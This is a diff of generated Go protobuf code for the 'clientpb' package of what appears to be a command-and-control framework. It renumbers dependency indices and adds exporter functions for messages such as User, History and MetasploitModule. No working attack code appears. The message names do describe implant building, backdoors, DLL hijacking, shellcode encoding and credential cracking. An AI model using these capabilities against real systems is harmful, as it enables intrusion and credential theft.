- 131, // 7: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry
- 22, // 8: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder
- 24, // 9: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest
- 21, // 10: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig
- 30, // 11: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild
- 105, // 12: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config
- 142, // 13: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File
- 132, // 14: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
- 133, // 15: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry
- 134, // 16: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry
- 0, // 17: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
- 31, // 18: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
- 32, // 19: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
- 31, // 20: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
- 35, // 21: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
- 21, // 22: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
- 38, // 23: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
- 41, // 24: clientpb.Jobs.Active:type_name -> clientpb.Job
- 48, // 25: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq
- 49, // 26: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq
- 50, // 27: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq
- 51, // 28: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq
- 47, // 29: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq
- 143, // 30: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
- 144, // 31: clientpb.NamedPipes.Response:type_name -> commonpb.Response
- 143, // 32: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
- 144, // 33: clientpb.TCPPivot.Response:type_name -> commonpb.Response
- 15, // 34: clientpb.Sessions.Sessions:type_name -> clientpb.Session
- 21, // 35: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
- 142, // 36: clientpb.Generate.File:type_name -> commonpb.File
- 143, // 37: clientpb.MSFReq.Request:type_name -> commonpb.Request
- 143, // 38: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
- 1, // 39: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
- 1, // 40: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
- 142, // 41: clientpb.MsfStager.File:type_name -> commonpb.File
- 21, // 42: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
- 143, // 43: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
- 21, // 44: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
- 3, // 45: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder
- 143, // 46: clientpb.MigrateReq.Request:type_name -> commonpb.Request
- 143, // 47: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
- 143, // 48: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
- 15, // 49: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
- 74, // 50: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
- 74, // 51: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
- 79, // 52: clientpb.Client.Operator:type_name -> clientpb.Operator
- 15, // 53: clientpb.Event.Session:type_name -> clientpb.Session
- 41, // 54: clientpb.Event.Job:type_name -> clientpb.Job
- 76, // 55: clientpb.Event.Client:type_name -> clientpb.Client
- 79, // 56: clientpb.Operators.Operators:type_name -> clientpb.Operator
- 135, // 57: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
- 136, // 58: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
- 83, // 59: clientpb.Websites.Websites:type_name -> clientpb.Website
- 2, // 60: clientpb.Loot.FileType:type_name -> clientpb.FileType
- 142, // 61: clientpb.Loot.File:type_name -> commonpb.File
- 86, // 62: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
- 88, // 63: clientpb.Host.IOCs:type_name -> clientpb.IOC
- 137, // 64: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
- 90, // 65: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
- 143, // 66: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
- 144, // 67: clientpb.DllHijack.Response:type_name -> commonpb.Response
- 143, // 68: clientpb.BackdoorReq.Request:type_name -> commonpb.Request
- 144, // 69: clientpb.Backdoor.Response:type_name -> commonpb.Response
- 3, // 70: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder
- 143, // 71: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request
- 144, // 72: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response
- 138, // 73: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry
- 21, // 74: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig
- 101, // 75: clientpb.Builders.Builders:type_name -> clientpb.Builder
- 31, // 76: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget
- 32, // 77: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler
- 105, // 78: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config
- 105, // 79: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config
- 106, // 80: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig
- 107, // 81: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig
- 109, // 82: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header
- 108, // 83: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie
- 110, // 84: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter
- 109, // 85: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header
- 111, // 86: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment
- 4, // 87: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType
- 5, // 88: clientpb.Credential.HashType:type_name -> clientpb.HashType
- 112, // 89: clientpb.Credentials.Credentials:type_name -> clientpb.Credential
- 119, // 90: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation
- 6, // 91: clientpb.CrackstationStatus.State:type_name -> clientpb.States
- 116, // 92: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus
- 139, // 93: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry
- 140, // 94: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry
- 123, // 95: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand
- 141, // 96: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry
- 120, // 97: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo
- 122, // 98: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo
- 121, // 99: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo
- 8, // 100: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode
- 5, // 101: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType
- 10, // 102: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat
- 9, // 103: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding
- 9, // 104: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding
- 11, // 105: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile
- 126, // 106: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile
- 12, // 107: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType
- 127, // 108: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk
- 129, // 109: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider
- 22, // 110: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder
- 21, // 111: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
- 130, // 112: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID
- 80, // 113: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
- 80, // 114: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
- 89, // 115: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
- 3, // 116: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder
- 117, // [117:117] is the sub-list for method output_type
- 117, // [117:117] is the sub-list for method input_type
- 117, // [117:117] is the sub-list for extension type_name
- 117, // [117:117] is the sub-list for extension extendee
- 0, // [0:117] is the sub-list for field type_name
+ 15, // 0: clientpb.Users.Users:type_name -> clientpb.User
+ 148, // 1: clientpb.ImplantCommand.Request:type_name -> commonpb.Request
+ 148, // 2: clientpb.HistoryRequest.Request:type_name -> commonpb.Request
+ 17, // 3: clientpb.History.Commands:type_name -> clientpb.ImplantCommand
+ 149, // 4: clientpb.History.Response:type_name -> commonpb.Response
+ 21, // 5: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
+ 23, // 6: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
+ 35, // 7: clientpb.ImplantConfig.ImplantBuilds:type_name -> clientpb.ImplantBuild
+ 25, // 8: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
+ 0, // 9: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
+ 150, // 10: clientpb.ImplantConfig.Assets:type_name -> commonpb.File
+ 150, // 11: clientpb.TrafficEncoder.Wasm:type_name -> commonpb.File
+ 137, // 12: clientpb.TrafficEncoderMap.Encoders:type_name -> clientpb.TrafficEncoderMap.EncodersEntry
+ 27, // 13: clientpb.TrafficEncoderTests.Encoder:type_name -> clientpb.TrafficEncoder
+ 29, // 14: clientpb.TrafficEncoderTests.Tests:type_name -> clientpb.TrafficEncoderTest
+ 26, // 15: clientpb.ExternalImplantConfig.Config:type_name -> clientpb.ImplantConfig
+ 35, // 16: clientpb.ExternalImplantConfig.Build:type_name -> clientpb.ImplantBuild
+ 111, // 17: clientpb.ExternalImplantConfig.HTTPC2:type_name -> clientpb.HTTPC2Config
+ 150, // 18: clientpb.ExternalImplantBinary.File:type_name -> commonpb.File
+ 138, // 19: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
+ 139, // 20: clientpb.ImplantBuilds.ResourceIDs:type_name -> clientpb.ImplantBuilds.ResourceIDsEntry
+ 140, // 21: clientpb.ImplantBuilds.staged:type_name -> clientpb.ImplantBuilds.StagedEntry
+ 0, // 22: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
+ 36, // 23: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
+ 37, // 24: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
+ 36, // 25: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
+ 39, // 26: clientpb.MetasploitCompiler.Encoders:type_name -> clientpb.MetasploitModule
+ 39, // 27: clientpb.MetasploitCompiler.Payloads:type_name -> clientpb.MetasploitModule
+ 42, // 28: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
+ 26, // 29: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
+ 45, // 30: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
+ 48, // 31: clientpb.Jobs.Active:type_name -> clientpb.Job
+ 55, // 32: clientpb.ListenerJob.MTLSConf:type_name -> clientpb.MTLSListenerReq
+ 56, // 33: clientpb.ListenerJob.WGConf:type_name -> clientpb.WGListenerReq
+ 57, // 34: clientpb.ListenerJob.DNSConf:type_name -> clientpb.DNSListenerReq
+ 58, // 35: clientpb.ListenerJob.HTTPConf:type_name -> clientpb.HTTPListenerReq
+ 54, // 36: clientpb.ListenerJob.MultiConf:type_name -> clientpb.MultiplayerListenerReq
+ 148, // 37: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
+ 149, // 38: clientpb.NamedPipes.Response:type_name -> commonpb.Response
+ 148, // 39: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
+ 149, // 40: clientpb.TCPPivot.Response:type_name -> commonpb.Response
+ 20, // 41: clientpb.Sessions.Sessions:type_name -> clientpb.Session
+ 26, // 42: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
+ 150, // 43: clientpb.Generate.File:type_name -> commonpb.File
+ 148, // 44: clientpb.MSFReq.Request:type_name -> commonpb.Request
+ 148, // 45: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
+ 1, // 46: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
+ 1, // 47: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
+ 150, // 48: clientpb.MsfStager.File:type_name -> commonpb.File
+ 26, // 49: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
+ 148, // 50: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
+ 26, // 51: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
+ 3, // 52: clientpb.MigrateReq.Encoder:type_name -> clientpb.ShellcodeEncoder
+ 148, // 53: clientpb.MigrateReq.Request:type_name -> commonpb.Request
+ 148, // 54: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
+ 148, // 55: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
+ 20, // 56: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
+ 81, // 57: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
+ 81, // 58: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
+ 85, // 59: clientpb.Client.Operator:type_name -> clientpb.Operator
+ 20, // 60: clientpb.Event.Session:type_name -> clientpb.Session
+ 21, // 61: clientpb.Event.Beacon:type_name -> clientpb.Beacon
+ 48, // 62: clientpb.Event.Job:type_name -> clientpb.Job
+ 83, // 63: clientpb.Event.Client:type_name -> clientpb.Client
+ 141, // 64: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
+ 142, // 65: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
+ 89, // 66: clientpb.Websites.Websites:type_name -> clientpb.Website
+ 2, // 67: clientpb.Loot.FileType:type_name -> clientpb.FileType
+ 150, // 68: clientpb.Loot.File:type_name -> commonpb.File
+ 92, // 69: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
+ 94, // 70: clientpb.Host.IOCs:type_name -> clientpb.IOC
+ 143, // 71: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
+ 96, // 72: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
+ 148, // 73: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
+ 149, // 74: clientpb.DllHijack.Response:type_name -> commonpb.Response
+ 148, // 75: clientpb.BackdoorReq.Request:type_name -> commonpb.Request
+ 149, // 76: clientpb.Backdoor.Response:type_name -> commonpb.Response
+ 3, // 77: clientpb.ShellcodeEncodeReq.Encoder:type_name -> clientpb.ShellcodeEncoder
+ 148, // 78: clientpb.ShellcodeEncodeReq.Request:type_name -> commonpb.Request
+ 149, // 79: clientpb.ShellcodeEncode.Response:type_name -> commonpb.Response
+ 144, // 80: clientpb.ShellcodeEncoderMap.Encoders:type_name -> clientpb.ShellcodeEncoderMap.EncodersEntry
+ 26, // 81: clientpb.ExternalGenerateReq.Config:type_name -> clientpb.ImplantConfig
+ 107, // 82: clientpb.Builders.Builders:type_name -> clientpb.Builder
+ 36, // 83: clientpb.Builder.Targets:type_name -> clientpb.CompilerTarget
+ 37, // 84: clientpb.Builder.CrossCompilers:type_name -> clientpb.CrossCompiler
+ 111, // 85: clientpb.HTTPC2Configs.configs:type_name -> clientpb.HTTPC2Config
+ 111, // 86: clientpb.HTTPC2ConfigReq.C2Config:type_name -> clientpb.HTTPC2Config
+ 112, // 87: clientpb.HTTPC2Config.ServerConfig:type_name -> clientpb.HTTPC2ServerConfig
+ 113, // 88: clientpb.HTTPC2Config.ImplantConfig:type_name -> clientpb.HTTPC2ImplantConfig
+ 115, // 89: clientpb.HTTPC2ServerConfig.Headers:type_name -> clientpb.HTTPC2Header
+ 114, // 90: clientpb.HTTPC2ServerConfig.Cookies:type_name -> clientpb.HTTPC2Cookie
+ 116, // 91: clientpb.HTTPC2ImplantConfig.ExtraURLParameters:type_name -> clientpb.HTTPC2URLParameter
+ 115, // 92: clientpb.HTTPC2ImplantConfig.Headers:type_name -> clientpb.HTTPC2Header
+ 117, // 93: clientpb.HTTPC2ImplantConfig.PathSegments:type_name -> clientpb.HTTPC2PathSegment
+ 4, // 94: clientpb.HTTPC2PathSegment.SegmentType:type_name -> clientpb.HTTPC2SegmentType
+ 5, // 95: clientpb.Credential.HashType:type_name -> clientpb.HashType
+ 118, // 96: clientpb.Credentials.Credentials:type_name -> clientpb.Credential
+ 125, // 97: clientpb.Crackstations.Crackstations:type_name -> clientpb.Crackstation
+ 6, // 98: clientpb.CrackstationStatus.State:type_name -> clientpb.States
+ 122, // 99: clientpb.CrackstationStatus.Syncing:type_name -> clientpb.CrackSyncStatus
+ 145, // 100: clientpb.CrackSyncStatus.Progress:type_name -> clientpb.CrackSyncStatus.ProgressEntry
+ 146, // 101: clientpb.CrackBenchmark.Benchmarks:type_name -> clientpb.CrackBenchmark.BenchmarksEntry
+ 129, // 102: clientpb.CrackTask.Command:type_name -> clientpb.CrackCommand
+ 147, // 103: clientpb.Crackstation.Benchmarks:type_name -> clientpb.Crackstation.BenchmarksEntry
+ 126, // 104: clientpb.Crackstation.CUDA:type_name -> clientpb.CUDABackendInfo
+ 128, // 105: clientpb.Crackstation.Metal:type_name -> clientpb.MetalBackendInfo
+ 127, // 106: clientpb.Crackstation.OpenCL:type_name -> clientpb.OpenCLBackendInfo
+ 8, // 107: clientpb.CrackCommand.AttackMode:type_name -> clientpb.CrackAttackMode
+ 5, // 108: clientpb.CrackCommand.HashType:type_name -> clientpb.HashType
+ 10, // 109: clientpb.CrackCommand.OutfileFormat:type_name -> clientpb.CrackOutfileFormat
+ 9, // 110: clientpb.CrackCommand.EncodingFrom:type_name -> clientpb.CrackEncoding
+ 9, // 111: clientpb.CrackCommand.EncodingTo:type_name -> clientpb.CrackEncoding
+ 11, // 112: clientpb.CrackCommand.WorkloadProfile:type_name -> clientpb.CrackWorkloadProfile
+ 132, // 113: clientpb.CrackFiles.Files:type_name -> clientpb.CrackFile
+ 12, // 114: clientpb.CrackFile.Type:type_name -> clientpb.CrackFileType
+ 133, // 115: clientpb.CrackFile.Chunks:type_name -> clientpb.CrackFileChunk
+ 135, // 116: clientpb.MonitoringProviders.providers:type_name -> clientpb.MonitoringProvider
+ 27, // 117: clientpb.TrafficEncoderMap.EncodersEntry.value:type_name -> clientpb.TrafficEncoder
+ 26, // 118: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
+ 136, // 119: clientpb.ImplantBuilds.ResourceIDsEntry.value:type_name -> clientpb.ResourceID
+ 86, // 120: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
+ 86, // 121: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
+ 95, // 122: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
+ 3, // 123: clientpb.ShellcodeEncoderMap.EncodersEntry.value:type_name -> clientpb.ShellcodeEncoder
+ 124, // [124:124] is the sub-list for method output_type
+ 124, // [124:124] is the sub-list for method input_type
+ 124, // [124:124] is the sub-list for extension type_name
+ 124, // [124:124] is the sub-list for extension extendee
+ 0, // [0:124] is the sub-list for field type_name
}
func init() { file_clientpb_client_proto_init() }
@@ -13001,7 +13564,7 @@ func file_clientpb_client_proto_init() {
}
}
file_clientpb_client_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
- switch v := v.(*ClientLogData); i {
+ switch v := v.(*Users); i {
case 0:
return &v.state
case 1:
@@ -13013,6 +13576,66 @@ func file_clientpb_client_proto_init() {
}
}
file_clientpb_client_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*User); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*ClientLogData); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*ImplantCommand); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*HistoryRequest); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*History); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Session); i {
case 0:
return &v.state
@@ -13024,7 +13647,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Beacon); i {
case 0:
return &v.state
@@ -13036,7 +13659,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Beacons); i {
case 0:
return &v.state
@@ -13048,7 +13671,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*BeaconTask); i {
case 0:
return &v.state
@@ -13060,7 +13683,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*BeaconTasks); i {
case 0:
return &v.state
@@ -13072,7 +13695,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantC2); i {
case 0:
return &v.state
@@ -13084,7 +13707,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantConfig); i {
case 0:
return &v.state
@@ -13096,7 +13719,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TrafficEncoder); i {
case 0:
return &v.state
@@ -13108,7 +13731,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TrafficEncoderMap); i {
case 0:
return &v.state
@@ -13120,7 +13743,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TrafficEncoderTest); i {
case 0:
return &v.state
@@ -13132,7 +13755,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*TrafficEncoderTests); i {
case 0:
return &v.state
@@ -13144,7 +13767,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExternalImplantConfig); i {
case 0:
return &v.state
@@ -13156,7 +13779,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExternalImplantBinary); i {
case 0:
return &v.state
@@ -13168,7 +13791,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantBuilds); i {
case 0:
return &v.state
@@ -13180,7 +13803,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantStageReq); i {
case 0:
return &v.state
@@ -13192,7 +13815,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ImplantBuild); i {
case 0:
return &v.state
@@ -13204,7 +13827,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CompilerTarget); i {
case 0:
return &v.state
@@ -13216,7 +13839,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*CrossCompiler); i {
case 0:
return &v.state
@@ -13228,7 +13851,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Compiler); i {
case 0:
return &v.state
@@ -13240,7 +13863,31 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*MetasploitModule); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} {
+ switch v := v.(*MetasploitCompiler); i {
+ case 0:
+ return &v.state
+ case 1:
+ return &v.sizeCache
+ case 2:
+ return &v.unknownFields
+ default:
+ return nil
+ }
+ }
+ file_clientpb_client_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DeleteReq); i {
case 0:
return &v.state
@@ -13252,7 +13899,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} {
+ file_clientpb_client_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSCanary); i {
case 0:
return &v.state
@@ -13264,7 +13911,7 @@ func file_clientpb_client_proto_init() {
return nil
}
}
- file_clientpb_client_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} {
